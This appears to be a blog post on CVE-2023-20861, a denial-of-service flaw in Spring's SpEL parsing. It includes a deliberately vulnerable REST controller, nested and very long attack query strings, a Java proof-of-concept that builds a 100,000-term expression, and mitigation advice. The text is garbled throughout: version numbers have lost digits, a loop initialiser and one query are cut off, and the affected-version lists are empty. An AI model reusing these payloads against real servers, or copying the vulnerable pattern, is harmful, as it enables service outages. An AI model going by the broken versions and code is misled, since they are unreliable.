In early 2023, a new critical security flaw was discovered in the widely-used Spring Framework. This flaw, tracked as CVE-2023-20861, concerns the framework’s handling of Spring Expression Language (SpEL) expressions. The bug impacts versions 6.. – 6..6, 5.3. – 5.3.25, 5.2..RELEASE – 5.2.22.RELEASE, and some older unsupported versions. Attackers can exploit this issue to bring down your application with a simple but cleverly crafted input, causing a denial-of-service (DoS) state.

In this post, we’ll break down how the bug works, provide a minimal proof-of-concept exploit, and give you links to official references. If you use Spring in production, keep reading.

What is the Vulnerability?

Spring Expression Language (SpEL) lets developers write logic in annotation values or config files. Commonly used for bean definitions, security expressions, or validation, SpEL is powerful—but with great power comes risk.

CVE-2023-20861 occurs when the application evaluates unchecked, complex user-supplied SpEL strings. If SpEL parsing is used without restrictions, attackers can create very complex expressions that take a long time to parse. This monopolizes CPU cycles and exhausts server resources.

In plain words:  
Hackers can send a specially-made SpEL string to your app. Just by parsing it, your server gets stuck, and legit users can’t use your service anymore.

Who’s at Risk?

Any Java application using vulnerable Spring Framework versions, especially those that use user-provided SpEL expressions, like:

Any custom logic evaluating user-fed SpEL

Vulnerable versions:

Older, unsupported releases

Official Advisory:  
- Spring Security Advisory: CVE-2023-20861  
- NVD Details

Exploit Details and Proof-of-Concept (PoC)

The root problem here is that SpEL allows nested expressions and recursive evaluation. If an attacker provides a deeply nested or infinitely recursing SpEL expression, the parser will chew up CPU time—potentially for seconds or minutes per request.

Example: How an Attacker Can Trigger the DoS

Let’s see how this works in code. Imagine a REST controller where users can pass a SpEL string for filtering items:

// Hypothetical vulnerable code
@RestController
public class SearchController {

    @GetMapping("/search")
    public List<Item> searchItems(@RequestParam String filter) {
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(filter);
        return itemRepository.findAll().stream()
            .filter(item -> exp.getValue(item, Boolean.class))
            .collect(Collectors.toList());
    }
}

Suppose an attacker sends a GET request like

GET /search?filter=T(java.lang.Math).random() > 

This is normal. But a hacker sends

GET /search?filter=#a?

or worse, a *highly nested* expression like

GET /search?filter=((((((((1+1)+1)+1)+1)+1)+1)+1)+1)

Even more devastating, they might send a *recursive* or very long chained expression

(1+1)+(1+1)+(1+1)+...(repeated tens of thousands of times)

Java PoC: (How an attacker script might look)

// This snippet simulates sending SpEL expressions with increasing complexity
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.Expression;

public class SpELDoSDemo {
    public static void main(String[] args) {
        SpelExpressionParser parser = new SpelExpressionParser();
        // Craft a very long SpEL expression
        StringBuilder payload = new StringBuilder();
        for (int i = ; i < 100000; i++) {
            payload.append("1+");
        }
        payload.append("1");

        long start = System.currentTimeMillis();
        Expression exp = parser.parseExpression(payload.toString());
        Object value = exp.getValue();
        long end = System.currentTimeMillis();

        System.out.println("Took " + (end-start) + "ms to evaluate expression.");
    }
}

What happens?
Even if only the parsing (not evaluation) is allowed, parsing itself can hang for several seconds, blocking JVM threads. On a loaded server, with many such requests, the system slows to a crawl or even crashes.

Service Outages: Server resource exhaustion may even lead to full service downtime.

- Possible Cascade Failures: Microservices depending on vulnerable services may also slow down or crash.

Never directly parse SpEL from user input unless you sanitize or validate it.

- Put length/time quotas or complexity checks on all user-supplied SpEL strings.

Monitor your endpoints for CPU spikes and unusually slow requests.

Temporary hack: If you can’t upgrade quickly, reject or heavily restrict user-supplied SpEL strings:

if (filter.length() > 100) {
    throw new IllegalArgumentException("Expression too long");
}

Or use regex to screen out suspicious deep nesting. But upgrading is safest.

Spring Security Advisory:

https://tanzu.vmware.com/security/cve-2023-20861

CVE Database:

https://nvd.nist.gov/vuln/detail/CVE-2023-20861

Original Patch (GitHub):

https://github.com/spring-projects/spring-framework/issues/30460

Final Thoughts

The popularity of Spring means CVE-2023-20861 is a big deal. Make sure you check your version, upgrade as needed, and audit your usage of SpEL. Never trust user input—especially when it might be executed as code!

Timeline

Published on: 03/23/2023 21:15:00 UTC
Last modified on: 04/20/2023 09:15:00 UTC